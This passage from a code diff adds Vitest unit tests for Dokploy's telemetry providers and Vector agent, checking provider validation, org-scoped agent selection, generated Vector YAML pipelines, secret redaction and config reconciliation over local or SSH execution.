mocks.insertValues.mockReturnValue([{ telemetryProviderId: "cw-1" }]);
});
it("does not require the log group when only metrics are selected", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["metrics"],
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", metricsNamespace: "Dokploy" },
} as any,
"org-1",
),
).resolves.toMatchObject({ telemetryProviderId: "cw-1" });
});
it("does not require the metrics namespace when only logs are selected", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs"],
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
} as any,
"org-1",
),
).resolves.toMatchObject({ telemetryProviderId: "cw-1" });
});
it("requires the metrics namespace when metrics are selected", async () => {
await expect(
createTelemetryProvider(
{
name: "cw",
providerType: "aws_cloudwatch",
signals: ["logs", "metrics"],
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", logGroup: "/dokploy/logs" },
} as any,
"org-1",
),
).rejects.toThrow(/Metrics namespace/);
expect(mocks.insertValues).not.toHaveBeenCalled();
});
});
describe("signals are stored in a fixed order", () => {
it("normalizes the order on create", async () => {
mocks.insertValues.mockReset();
mocks.insertValues.mockReturnValue([{ telemetryProviderId: "dd-1" }]);
await createTelemetryProvider(
{
name: "dd",
providerType: "datadog",
signals: ["metrics", "logs"],
apiKey: "dd-key",
} as any,
"org-1",
);
expect(mocks.insertValues).toHaveBeenCalledWith(
expect.objectContaining({ signals: ["logs", "metrics"] }),
);
});
it("normalizes the order on update", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "dd-1",
name: "dd",
providerType: "datadog",
signals: ["logs"],
endpoint: null,
apiKey: "dd-key",
apiSecret: null,
extraConfig: null,
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "dd-1" }]);
await updateTelemetryProvider("dd-1", { signals: ["metrics", "logs"] });
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ signals: ["logs", "metrics"] }),
);
});
});
describe("testTelemetryProviderConnection by id", () => {
it("tests the saved provider with the signals override from the form", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "bs-1",
name: "bs",
providerType: "betterstack",
signals: ["logs"],
endpoint: "in.logs.betterstack.com",
apiKey: "token",
apiSecret: null,
extraConfig: null,
});
const spy = vi
.spyOn(telemetryProviderAdapters.betterstack, "testConnection")
.mockResolvedValue(undefined);
await testTelemetryProviderConnection({
telemetryProviderId: "bs-1",
signals: ["logs", "metrics"],
});
expect(spy).toHaveBeenCalledWith(
expect.objectContaining({
apiKey: "token",
signals: ["logs", "metrics"],
}),
);
spy.mockRestore();
});
});
describe("updateTelemetryProvider — signals", () => {
const existing = {
telemetryProviderId: "dd-1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
endpoint: null,
apiKey: "dd-key",
apiSecret: null,
extraConfig: null,
};
beforeEach(() => {
mocks.updateSet.mockReset();
mocks.serverFindFirst.mockReset();
mocks.webServerFindFirst.mockReset();
mocks.findFirst.mockResolvedValue(existing);
mocks.updateSet.mockReturnValue([{ ...existing, signals: ["metrics"] }]);
});
it("allows removing a signal while the provider is assigned and returns its targets to re-apply", async () => {
mocks.serverFindMany.mockResolvedValue([{ serverId: "server-1" }]);
mocks.webServerFindFirst.mockResolvedValue({ id: "ws-1" });
await expect(
updateTelemetryProvider("dd-1", { signals: ["metrics"] }),
).resolves.toMatchObject({
provider: { signals: ["metrics"] },
targets: ["server-1", null],
});
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ signals: ["metrics"] }),
);
});
it("rejects a type change that cannot send the saved signals", async () => {
await expect(
updateTelemetryProvider("dd-1", {
providerType: "loki",
endpoint: "https://loki.example.com",
}),
).rejects.toThrow(/Grafana Loki cannot send metrics/);
});
});
@@ -0,0 +1,305 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
setWebServerProviderIds: vi.fn(),
setServerProviderIds: vi.fn(),
getAccessibleServerIds: vi.fn(),
reconcileVectorAgent: vi.fn(),
removeVectorAgent: vi.fn(),
findServerById: vi.fn(),
assertProvidersBelongToOrg: vi.fn(),
}));
const loadAgent = async (isCloud: boolean) => {
vi.resetModules();
vi.doMock("@dokploy/server/constants", () => ({ IS_CLOUD: isCloud }));
vi.doMock("@dokploy/server/services/server", () => ({
findServerById: mocks.findServerById,
setServerProviderIds: mocks.setServerProviderIds,
getAccessibleServerIds: mocks.getAccessibleServerIds,
}));
vi.doMock("@dokploy/server/services/web-server-settings", () => ({
setWebServerProviderIds: mocks.setWebServerProviderIds,
}));
const locks = new Map<string, Promise<unknown>>();
vi.doMock("@dokploy/server/setup/vector-setup", () => ({
LOCAL_SERVER_NAME: "Dokploy Server (local)",
reconcileVectorAgent: mocks.reconcileVectorAgent,
removeVectorAgent: mocks.removeVectorAgent,
withVectorTargetLock: (
serverId: string | undefined,
fn: () => Promise<unknown>,
) => {
const key = serverId ?? "local";
const current = (locks.get(key) ?? Promise.resolve())
.catch(() => {})
.then(fn);
locks.set(key, current);
return current;
},
}));
vi.doMock("@dokploy/server/services/logs-and-metrics/service", () => ({
assertProvidersBelongToOrg: mocks.assertProvidersBelongToOrg,
}));
return await import("@dokploy/server/services/logs-and-metrics/vector-agent");
};
const sessionA = { userId: "user-a", activeOrganizationId: "org-a" };
const sessionB = { userId: "user-b", activeOrganizationId: "org-b" };
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.getAccessibleServerIds.mockResolvedValue(new Set(["server-1"]));
mocks.findServerById.mockImplementation(async (serverId: string) => ({
serverId,
name: `name-of-${serverId}`,
organizationId: "org-a",
sshKeyId: "key-1",
}));
mocks.setWebServerProviderIds.mockResolvedValue({ id: "ws-1" });
mocks.setServerProviderIds.mockResolvedValue({ serverId: "server-1" });
});
describe("applyVectorAgentSelection on the local host", () => {
it("rejects the local host in cloud without touching the database", async () => {
const { applyVectorAgentSelection } = await loadAgent(true);
await expect(
applyVectorAgentSelection(sessionA, undefined, ["lp-1"]),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
expect(mocks.setWebServerProviderIds).not.toHaveBeenCalled();
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("rejects with CONFLICT when another organization owns the local agent, without reconciling", async () => {
mocks.setWebServerProviderIds.mockResolvedValue(null);
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionB, undefined, ["mp-1"]),
).rejects.toMatchObject({ code: "CONFLICT" });
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-b", [
"mp-1",
]);
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("saves the selection and then reconciles", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await applyVectorAgentSelection(sessionA, undefined, ["lp-1"]);
expect(mocks.assertProvidersBelongToOrg).toHaveBeenCalledWith(
["lp-1"],
"org-a",
);
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-a", [
"lp-1",
]);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith(undefined);
expect(
mocks.setWebServerProviderIds.mock.invocationCallOrder[0],
).toBeLessThan(mocks.reconcileVectorAgent.mock.invocationCallOrder[0] ?? 0);
});
it("removing the agent saves an empty selection without checking providers", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await applyVectorAgentSelection(sessionA, undefined, []);
expect(mocks.assertProvidersBelongToOrg).not.toHaveBeenCalled();
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-a", []);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith(undefined);
});
});
describe("applyVectorAgentSelection on a remote server", () => {
it("still manages remote servers in cloud", async () => {
const { applyVectorAgentSelection } = await loadAgent(true);
const result = await applyVectorAgentSelection(sessionA, "server-1", []);
expect(result).toEqual({ serverName: "name-of-server-1" });
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", []);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith("server-1");
});
it("rejects a server of another organization", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
organizationId: "org-b",
sshKeyId: "key-1",
});
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
});
it("rejects a server without an SSH key before saving anything", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
organizationId: "org-a",
sshKeyId: null,
});
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("rejects a server the member cannot access", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-2", ["lp-1"]),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
expect(mocks.getAccessibleServerIds).toHaveBeenCalledWith(sessionA);
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("saves the array and only then reconciles", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await applyVectorAgentSelection(sessionA, "server-1", ["mp-1"]);
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", [
"mp-1",
]);
expect(mocks.setServerProviderIds.mock.invocationCallOrder[0]).toBeLessThan(
mocks.reconcileVectorAgent.mock.invocationCallOrder[0] ?? 0,
);
});
it("keeps the saved selection when the reconcile fails", async () => {
mocks.reconcileVectorAgent.mockRejectedValue(
new Error("validation failed"),
);
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-1", ["lp-2"]),
).rejects.toThrow("validation failed");
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", [
"lp-2",
]);
});
it("serializes concurrent selections on the same host so the last reconcile sees the last selection", async () => {
const saved: string[][] = [];
const seen: string[][] = [];
mocks.setServerProviderIds.mockImplementation(
async (_serverId: string, ids: string[]) => {
saved.push(ids);
return { serverId: "server-1" };
},
);
mocks.reconcileVectorAgent.mockImplementation(async () => {
seen.push(saved.at(-1) ?? []);
await new Promise((resolve) => setTimeout(resolve, 20));
});
const { applyVectorAgentSelection } = await loadAgent(false);
await Promise.all([
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
applyVectorAgentSelection(sessionA, "server-1", ["lp-2"]),
]);
expect(seen).toEqual([["lp-1"], ["lp-2"]]);
});
});
describe("removeServerVectorAgent", () => {
it("removes the agent on server deletion when providers are assigned", async () => {
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: "key-1",
telemetryProviderIds: ["lp-1"],
} as never),
).resolves.toBeUndefined();
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
});
it("attempts cleanup even with an empty selection, since a failed Remove can leave the agent running", async () => {
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: "key-1",
telemetryProviderIds: [],
} as never),
).resolves.toBeUndefined();
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
});
it("skips servers without an SSH key, warning when providers were assigned", async () => {
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: null,
telemetryProviderIds: [],
} as never),
).resolves.toBeUndefined();
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: null,
telemetryProviderIds: ["lp-1"],
} as never),
).resolves.toMatch(/no SSH key/);
expect(mocks.removeVectorAgent).not.toHaveBeenCalled();
});
it("returns the failure as a message instead of throwing", async () => {
mocks.removeVectorAgent.mockRejectedValue(new Error("docker down"));
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: "k",
telemetryProviderIds: ["lp-1"],
} as never),
).resolves.toBe("docker down");
});
});
describe("reconcileVectorTargets", () => {
it("re-applies every target under its lock and reports failures as a warning", async () => {
mocks.reconcileVectorAgent.mockImplementation(async (serverId?: string) => {
if (serverId === "server-2") throw new Error("ssh down");
});
const { reconcileVectorTargets } = await loadAgent(false);
const warning = await reconcileVectorTargets([
"server-1",
"server-2",
null,
]);
expect(mocks.reconcileVectorAgent.mock.calls.map((c) => c[0])).toEqual([
"server-1",
"server-2",
undefined,
]);
expect(warning).toBe(
"The Vector agent could not be re-applied on server-2: ssh down",
);
});
it("returns no warning when every target reconciles, and skips the local host in cloud", async () => {
const { reconcileVectorTargets } = await loadAgent(true);
await expect(
reconcileVectorTargets(["server-1", null]),
).resolves.toBeUndefined();
expect(mocks.reconcileVectorAgent).toHaveBeenCalledTimes(1);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith("server-1");
});
});
@@ -0,0 +1,375 @@
import { vrlString } from "@dokploy/server/services/logs-and-metrics/types";
import {
buildMetricsScopeTransformSource,
buildVectorConfigYaml,
collectSecretValues,
redactSecrets,
} from "@dokploy/server/setup/vector-setup";
import { describe, expect, it } from "vitest";
import { parse } from "yaml";
const provider = (overrides: Record<string, unknown>) =>
({
apiKey: null,
apiSecret: null,
endpoint: null,
extraConfig: null,
signals: ["logs"],
...overrides,
}) as any;
const loki = provider({
telemetryProviderId: "loki-1",
name: "loki",
providerType: "loki",
endpoint: "https://loki.example.com",
});
const prom = provider({
telemetryProviderId: "prom-1",
name: "prom",
providerType: "prometheus_remote_write",
signals: ["metrics"],
endpoint: "http://prom.example.com:9090/api/v1/write",
});
const datadog = provider({
telemetryProviderId: "dd-1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
apiKey: "dd-key",
});
const build = (
overrides: Partial<Parameters<typeof buildVectorConfigYaml>[0]>,
) =>
parse(
buildVectorConfigYaml({
logProviders: [],
metricsProviders: [],
serverName: "my server",
...overrides,
}),
) as any;
describe("buildVectorConfigYaml — logs", () => {
it("generates a source, a dokploy_scope transform and one sink per provider, and nothing for metrics", () => {
const config = build({ logProviders: [loki] });
expect(config.data_dir).toBe("/var/lib/vector");
expect(config.sources.docker_logs_source.type).toBe("docker_logs");
expect(config.transforms.dokploy_scope.type).toBe("remap");
expect(config.transforms.dokploy_scope.inputs).toEqual([
"docker_logs_source",
]);
expect(Object.keys(config.sinks)).toEqual(["sink_loki-1"]);
expect(config.sinks["sink_loki-1"].type).toBe("loki");
expect(config.sinks["sink_loki-1"].inputs).toEqual(["dokploy_scope"]);
expect(config.sources.host_metrics_source).toBeUndefined();
expect(config.sources.cadvisor_source).toBeUndefined();
expect(config.transforms.dokploy_metrics_scope).toBeUndefined();
});
it("chains scope -> transform -> sink for betterstack/datadog, and scope -> sink direct for loki", () => {
const config = build({
logProviders: [
loki,
provider({
telemetryProviderId: "bs-1",
name: "betterstack",
providerType: "betterstack",
endpoint: "https://in.logs.betterstack.com",
apiKey: "token",
}),
datadog,
],
});
expect(config.sinks["sink_loki-1"].inputs).toEqual(["dokploy_scope"]);
expect(config.transforms["transform_bs-1"].inputs).toEqual([
"dokploy_scope",
]);
expect(config.sinks["sink_bs-1"].inputs).toEqual(["transform_bs-1"]);
expect(config.transforms["transform_dd-1"].inputs).toEqual([
"dokploy_scope",
]);
expect(config.sinks["sink_dd-1"].inputs).toEqual(["transform_dd-1"]);
});
it("tags every log with the server name and reads the Dokploy metadata straight off the container labels, with empty defaults for containers Dokploy did not deploy", () => {
const config = build({ logProviders: [loki], serverName: 'srv "quoted"' });
expect(config.transforms.dokploy_scope.source).toBe(
[
'.dokploy_server = "srv \\"quoted\\""',
'.dokploy_organization = .label."dokploy.organization.id" || ""',
'.dokploy_project = .label."dokploy.project" || ""',
'.dokploy_project_id = .label."dokploy.project.id" || ""',
'.dokploy_environment = .label."dokploy.environment" || ""',
'.dokploy_environment_id = .label."dokploy.environment.id" || ""',
'.dokploy_application = .label."dokploy.application" || ""',
'.dokploy_application_id = .label."dokploy.application.id" || ""',
'.dokploy_service = .label."dokploy.service" || ""',
].join("\n"),
);
});
it("skips a provider whose config an adapter rejects at build time, instead of failing the whole org's config", () => {
const config = build({
logProviders: [
provider({
telemetryProviderId: "broken-es",
name: "es-broken",
providerType: "elasticsearch",
endpoint: "https://es.example.com:9200",
extraConfig: { username: "elastic" },
}),
loki,
],
});
expect(Object.keys(config.sinks)).toEqual(["sink_loki-1"]);
});
it("only keeps containers of the owning organization on the local host, which is shared by every organization", () => {
const config = build({ logProviders: [loki], organizationId: "org-a" });
expect(config.transforms.dokploy_scope_local_only).toEqual({
type: "filter",
inputs: ["dokploy_scope"],
condition: '.dokploy_organization == "org-a"',
});
expect(config.sinks["sink_loki-1"].inputs).toEqual([
"dokploy_scope_local_only",
]);
});
it("does not add the organization filter for the per-server (non-local) path", () => {
const config = build({ logProviders: [loki] });
expect(config.transforms.dokploy_scope_local_only).toBeUndefined();
});
});
describe("buildVectorConfigYaml — metrics", () => {
it("with only metrics providers it emits the host and cAdvisor sources and no logs pipeline", () => {
const config = build({ metricsProviders: [prom] });
expect(config.sources.docker_logs_source).toBeUndefined();
expect(config.transforms.dokploy_scope).toBeUndefined();
expect(config.sources.host_metrics_source).toMatchObject({
type: "host_metrics",
scrape_interval_secs: 30,
collectors: [
"cpu",
"memory",
"disk",
"filesystem",
"network",
"load",
"host",
],
});
expect(
config.sources.host_metrics_source.filesystem.filesystems.excludes,
).toEqual(
expect.arrayContaining([
"overlay",
"tmpfs",
"squashfs",
"devtmpfs",
"nsfs",
"proc",
"sysfs",
"devpts",
"cgroup2",
]),
);
expect(config.sources.host_metrics_source.network.devices.excludes).toEqual(
["veth*", "br-*", "docker*"],
);
expect(config.sources.cadvisor_source).toEqual({
type: "prometheus_scrape",
endpoints: ["http://127.0.0.1:4510/metrics"],
scrape_interval_secs: 30,
scrape_timeout_secs: 10,
});
expect(config.transforms.dokploy_metrics_scope).toMatchObject({
type: "remap",
inputs: ["host_metrics_source", "cadvisor_source"],
drop_on_abort: true,
});
expect(Object.keys(config.sinks)).toEqual(["sink_prom-1_metrics"]);
expect(config.sinks["sink_prom-1_metrics"]).toMatchObject({
type: "prometheus_remote_write",
inputs: ["dokploy_metrics_scope"],
});
expect(config.transforms.dokploy_metrics_scope_local_only).toBeUndefined();
});
it("on the local host it lets host series through and keeps only the owning organization's containers", () => {
const config = build({ metricsProviders: [prom], organizationId: "org-a" });
expect(config.transforms.dokploy_metrics_scope_local_only).toEqual({
type: "filter",
inputs: ["dokploy_metrics_scope"],
condition:
'.namespace == "host" || .tags.dokploy_organization == "org-a"',
});
expect(config.sinks["sink_prom-1_metrics"].inputs).toEqual([
"dokploy_metrics_scope_local_only",
]);
});
it("a provider assigned to both signals gets a logs sink and a metrics sink without clashing", () => {
const config = build({
logProviders: [datadog],
metricsProviders: [datadog],
organizationId: "org-a",
});
expect(config.sinks["sink_dd-1"]).toMatchObject({
type: "datadog_logs",
inputs: ["transform_dd-1"],
});
expect(config.sinks["sink_dd-1_metrics"]).toMatchObject({
type: "datadog_metrics",
inputs: ["dokploy_metrics_scope_local_only"],
});
expect(config.transforms["transform_dd-1_metrics"]).toBeUndefined();
});
it("tags every series with the server name, promotes non-empty dokploy labels and drops the cgroup id", () => {
const source = buildMetricsScopeTransformSource('srv "quoted"');
expect(source).toContain('.tags.dokploy_server = "srv \\"quoted\\""');
expect(source).toContain(
'if .namespace != "host" && !starts_with(string!(.name), "container_") { abort }',
);
expect(source).toContain(
'value = del(.tags.container_label_dokploy_application)\nif is_string(value) && value != "" { .tags.dokploy_application = value }',
);
expect(source.trim().endsWith("del(.tags.id)")).toBe(true);
expect(
build({ metricsProviders: [prom] }).transforms.dokploy_metrics_scope
.source,
).toBe(buildMetricsScopeTransformSource("my server"));
});
});
describe("buildVectorConfigYaml — dollar signs", () => {
it("keeps every $ literal because the agent runs without env var interpolation", () => {
const yamlStr = buildVectorConfigYaml({
logProviders: [
provider({
telemetryProviderId: "loki-1",
name: "loki",
providerType: "loki",
endpoint: "https://loki.example.com",
apiKey: "Pa$5w0rd$HOME",
extraConfig: { username: "12345" },
}),
],
metricsProviders: [prom],
serverName: "srv $ONE",
});
expect(yamlStr).not.toContain("$$");
expect(yamlStr).toContain("srv $ONE");
expect(parse(yamlStr).sinks["sink_loki-1"].auth.password).toBe(
"Pa$5w0rd$HOME",
);
});
});
describe("collectSecretValues / redactSecrets", () => {
it("collects endpoint/apiKey/apiSecret across all providers but only the password-type extraConfig fields", () => {
const providers = [
{
providerType: "loki",
endpoint: "https://loki.example.com",
apiKey: "loki-key",
apiSecret: null,
extraConfig: { tenantId: "tenant-a", username: "12345" },
},
{
providerType: "datadog",
endpoint: null,
apiKey: "dd-key",
apiSecret: null,
extraConfig: { site: "datadoghq.eu" },
},
{
providerType: "aws_cloudwatch",
endpoint: null,
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", metricsNamespace: "Dokploy" },
},
] as any;
const values = collectSecretValues(providers);
expect(values).toEqual(
expect.arrayContaining([
"https://loki.example.com",
"loki-key",
"dd-key",
"AKIA",
"shh",
]),
);
for (const plain of [
"tenant-a",
"12345",
"datadoghq.eu",
"us-east-1",
"Dokploy",
]) {
expect(values).not.toContain(plain);
}
});
it("ignores null/empty credentials", () => {
const providers = [
{
providerType: "elasticsearch",
endpoint: null,
apiKey: null,
apiSecret: null,
extraConfig: { limit: 10, enabled: true, empty: "" },
},
] as any;
expect(collectSecretValues(providers)).toEqual([]);
});
it("redacts every collected secret, longest first so a short one can't eat part of a longer one", () => {
const providers = [
{
providerType: "loki",
endpoint: null,
apiKey: "hunter2-long-suffix",
apiSecret: "hunter2",
extraConfig: null,
},
] as any;
const text =
"sink validation error near apiKey=hunter2-long-suffix and hunter2";
const redacted = redactSecrets(text, collectSecretValues(providers));
expect(redacted).not.toContain("hunter2");
expect(redacted).toBe(
"sink validation error near apiKey=[redacted] and [redacted]",
);
});
});
describe("vrlString", () => {
it("quotes and escapes like JSON but drops the control characters VRL rejects", () => {
expect(vrlString('my "server"')).toBe('"my \\"server\\""');
expect(vrlString("back\\slash")).toBe('"back\\\\slash"');
expect(vrlString("a\u0008b\u000cc\u0000d\u007fe\nf")).toBe('"abcdef"');
});
});
@@ -0,0 +1,526 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import { parse } from "yaml";
const mocks = vi.hoisted(() => ({
findServerById: vi.fn(),
getWebServerSettings: vi.fn(),
findEnabledTelemetryProvidersByOrganization: vi.fn(),
execAsync: vi.fn(),
execAsyncRemote: vi.fn(),
inspectService: vi.fn(),
updateService: vi.fn(),
removeService: vi.fn(),
createService: vi.fn(),
getService: vi.fn(),
listContainers: vi.fn(),
killContainer: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({ db: {} }));
vi.mock("@dokploy/server/constants", () => ({
IS_CLOUD: false,
paths: (isServer: boolean) => ({
VECTOR_PATH: isServer ? "/etc/dokploy/vector" : "/local/dokploy/vector",
}),
}));
vi.mock("@dokploy/server/services/server", () => ({
findServerById: mocks.findServerById,
findServersByOrganizationForVectorAgent: vi.fn(),
getAccessibleServerIds: vi.fn(),
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
}));
vi.mock(
"@dokploy/server/services/logs-and-metrics/service",
async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/services/logs-and-metrics/service")
>()),
findEnabledTelemetryProvidersByOrganization:
mocks.findEnabledTelemetryProvidersByOrganization,
}),
);
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
execAsync: mocks.execAsync,
execAsyncRemote: mocks.execAsyncRemote,
}));
vi.mock("@dokploy/server/utils/servers/remote-docker", () => ({
getRemoteDocker: async () => ({
getService: mocks.getService,
createService: mocks.createService,
listContainers: mocks.listContainers,
getContainer: () => ({ kill: mocks.killContainer }),
}),
}));
const { reconcileVectorAgent, removeVectorAgent } = await import(
"@dokploy/server/setup/vector-setup"
);
const lokiProvider = {
telemetryProviderId: "lp-1",
name: "loki",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: "sekret-token",
apiSecret: null,
extraConfig: null,
enabled: true,
organizationId: "org-a",
};
const promProvider = {
...lokiProvider,
telemetryProviderId: "mp-1",
name: "prom",
providerType: "prometheus_remote_write",
signals: ["metrics"],
endpoint: "http://prom.example.com:9090/api/v1/write",
apiKey: null,
};
const notFound = () =>
Object.assign(new Error("not found"), { statusCode: 404 });
const writtenYaml = (command: string) => {
const match = command.match(/echo "([^"]+)" \| base64 -d/);
return parse(Buffer.from(match?.[1] ?? "", "base64").toString("utf8"));
};
const commandsOf = (mock: typeof mocks.execAsync) =>
mock.mock.calls.map((call) => String(call[call.length - 1]));
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.getService.mockImplementation(() => ({
inspect: mocks.inspectService,
update: mocks.updateService,
remove: mocks.removeService,
}));
mocks.inspectService.mockRejectedValue(notFound());
mocks.removeService.mockRejectedValue(notFound());
mocks.execAsync.mockResolvedValue({ stdout: "", stderr: "" });
mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
mocks.listContainers.mockResolvedValue([{ Id: "vector-container" }]);
mocks.killContainer.mockResolvedValue(undefined);
});
describe("reconcileVectorAgent", () => {
it("writes, validates and applies the YAML and deploys Vector for the saved selection", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
await reconcileVectorAgent();
const commands = commandsOf(mocks.execAsync);
expect(commands).toHaveLength(3);
expect(commands[0]).toContain(
"/local/dokploy/vector/vector.yaml.candidate.",
);
expect(commands[1]).toMatch(
/timberio\/vector:\d+\.\d+\.\d+-alpine validate --skip-healthchecks/,
);
expect(commands[2]).toMatch(
/^mv \/local\/dokploy\/vector\/vector\.yaml\.candidate\.\S+ \/local\/dokploy\/vector\/vector\.yaml$/,
);
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
const config = writtenYaml(commands[0] ?? "");
expect(config.sinks["sink_lp-1"].inputs).toEqual([
"dokploy_scope_local_only",
]);
expect(config.sources.host_metrics_source).toBeUndefined();
expect(mocks.createService).toHaveBeenCalledTimes(1);
expect(mocks.createService.mock.calls[0]?.[0]).toMatchObject({
Name: "dokploy-vector",
});
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
expect(mocks.removeService).toHaveBeenCalledTimes(1);
});
it("splits one selection into the logs and metrics pipelines by what each provider sends", async () => {
const datadogProvider = {
...lokiProvider,
telemetryProviderId: "dd-1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
endpoint: null,
apiKey: "dd-key",
};
const unselected = { ...lokiProvider, telemetryProviderId: "lp-9" };
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1", "mp-1", "dd-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
promProvider,
datadogProvider,
unselected,
]);
await reconcileVectorAgent();
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
const sinkIds = Object.keys(config.sinks);
expect(sinkIds.some((id) => id.includes("lp-1"))).toBe(true);
expect(sinkIds.some((id) => id.includes("mp-1"))).toBe(true);
expect(sinkIds.filter((id) => id.includes("dd-1")).length).toBe(2);
expect(sinkIds.some((id) => id.includes("lp-9"))).toBe(false);
expect(config.sources.docker_logs_source).toBeDefined();
expect(config.sources.cadvisor_source).toBeDefined();
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
"dokploy-vector",
"dokploy-cadvisor",
]);
});
it("removes cAdvisor but keeps Vector when no selected provider sends metrics", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1", "mp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
await reconcileVectorAgent();
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
expect(config.sources.cadvisor_source).toBeUndefined();
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
"dokploy-vector",
]);
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
expect(mocks.removeService).toHaveBeenCalledTimes(1);
});
it("filters by the organization only on the local host and runs on the server over SSH", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
organizationId: "org-a",
name: "edge-1",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
await reconcileVectorAgent("server-1");
expect(mocks.execAsync).not.toHaveBeenCalled();
expect(
mocks.execAsyncRemote.mock.calls.every((c) => c[0] === "server-1"),
).toBe(true);
const config = writtenYaml(commandsOf(mocks.execAsyncRemote)[0] ?? "");
expect(config.transforms.dokploy_scope_local_only).toBeUndefined();
expect(config.sinks["sink_lp-1"].inputs).toEqual(["dokploy_scope"]);
});
it("does not apply a config that vector validate rejects, redacts secrets and leaves the selection alone", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
